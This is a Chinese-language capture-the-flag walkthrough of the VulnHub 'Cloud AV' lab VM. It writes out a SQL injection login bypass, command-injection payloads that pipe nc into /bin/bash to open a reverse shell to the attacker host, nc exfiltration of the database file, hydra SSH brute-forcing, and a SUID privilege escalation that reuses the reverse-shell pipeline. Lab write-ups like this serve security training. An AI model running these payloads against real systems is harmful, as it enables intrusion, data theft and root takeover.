靶机信息:
靶机地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
难度:Easy
作者:BoredHackerBlog
虚拟机:Virtual Box
靶机任务介绍:这是一个云反病毒扫描平台,当前是个测试版,你被要求去测试这个程序,并找出漏洞提升权限
WalkThrough
主机发现
arp-scan 定位是一款黑客工具,不一定每个Linux都有,而 arping 是所有Linux都会默认自带的工具,这里使用arping进行主机发现:
└─$ for i in $(seq 1 254);do sudo arping -c 2 10.0.2.$i; done;
10.0.2.1--10.0.2.3
是虚拟机软件自带的,这里扫描出来了目标IP:10.0.2.5
端口扫描
└─$ sudo nmap -p- 10.0.2.5
[sudo] selph 的密码:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-20 19:22 CST
Nmap scan report for 10.0.2.5
Host is up (0.000064s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
MAC Address: 08:00:27:DA:AD:92 (Oracle VirtualBox virtual NIC)
这里开放了22,8080端口,接下来进行服务扫描
服务探测
└─$ sudo nmap -p22,8080 -sV 10.0.2.5
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-20 19:25 CST
Nmap scan report for 10.0.2.5
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15rc1)
MAC Address: 08:00:27:DA:AD:92 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.27 seconds
22端口是OpenSSH 7.6p1服务
8080端口是Werkzeug,基于python的Web服务,查看一下:
这里的说明是,要通过密码来进行登录,才能进入后续界面
对于这里的攻击思路:通过代码上的漏洞SQL注入来绕过登录和暴力破解
SQL注入
使用burp的intruder模块对登录请求的注入点进行测试,最好把键盘上所有的特殊符号挨个进行注入一遍,因为在任何的语言中,键盘上的符号都有特殊的功能,如果存在注入漏洞,当注入特殊符号的时候,就会触发服务器端代码上的问题,造成语法语义上的歧义,从而使服务器无法处理请求,从而发现漏洞,通过触发漏洞,可以找到可能存在的注入漏洞
结果筛选,有两种方法,响应码和数据长度,异常情况这两个地方很可能会有所不同
通过查看响应信息,这里得知是双引号触发了服务端的报错,是服务端的数据库服务报的错
往下继续查看发现关键点:
这里的这个语句报错,这个语句是SQL语句拼接,双引号被拼接到了SQL语句中导致了报错,此处存在SQL注入漏洞
SQL语句:
select * from code where password=" + password + "
构建payload:使用"or 1=1
来绕过
1"or 1=1--+
SQL注入成功,进入后台:
命令注入&反弹shell
这里可以指定文件名提交给服务器进行云查杀
界面上的内容是Linux上ls -l
命令查看返回的结果,这里可以猜想
当我们提交某个文件之后,服务器也是会调用某个命令进行操作,这里可以猜想服务器是通过这样的命令进行操作的:AVscan hello
如果是这样的,那就意味着相当于可以使用管道来操控服务器,可能这里存在命令注入的问题
进行尝试,猜想成立:
既然可以命令注入,那就可以注入更多的指令来进行反弹shell
在Linux上通常会使用nc进行网络连接,来查看一下nc命令是否存在:hello | which nc
:
目标机器上存在nc,那就可以用nc来进行反弹shell了
payload:
nc -e /bin/sh 10.0.2.15 8888
失败,猜测这里版本的nc没有-e参数,不能这么来反弹shell了
nc的基本连接功能测试:
nc 10.0.2.15 8888
可以初步确认了目标的nc版本是没有-e参数的
那这里通过管道来进行操作:
hello | nc 10.0.2.15 8888 | /bin/bash | nc 10.0.2.15 8889
通过普通的网络连接接收数据,数据通过管道传输给/bin/bash进行解析,再将执行结果通过管道传给nc的另一个连接发出去,效果如下:
到此,已经拿到反弹shell了
信息收集
查看文件,查看database.sql信息
可以怀疑这个database.sql就是Web应用程序的数据库
数据库是否会包含重要信息呢?把数据库文件下载下来进行查看:
nc 10.0.2.15 8899 < database.sql
下载完之后使用sqlite3进行解析:
发现了4个密码
接下来去看看目标上有哪些有shell的账号:
cat /etc/passwd | grep /bin/bash
把用户名和密码都整理到字典文件里为后续爆破做准备
SSH爆破
因为开放了SSH服务,又收集到了一批用户名和密码,这里可以尝试SSH爆破登录
使用hydra进行爆破:
hydra -L user.txt -P pass.txt ssh://10.0.2.5
爆破结束后,没有账号可用,这次尝试失败了
接下来要从别的地方想办法了
再次信息收集
查看到当前目录的上级目录中存在文件:
这应该就是通过web提交的文件名被执行的地方了,这个C语言文件应该就是源码,查看一下:
可以看到,这里是通过获取参数来执行功能的
这里的update_cloudav
的属性位有SUID,SUID可以让使用者继承属主的权限,属主是root,所以这里得想办法利用一下
SUID提权
这里可以构造参数拼接反弹shell的命令进去:
.././update_cloudav "a | nc 10.0.2.15 10000 | /bin/bash | nc 10.0.2.15 10001"
在kali这边监听好端口:
拿到root权限!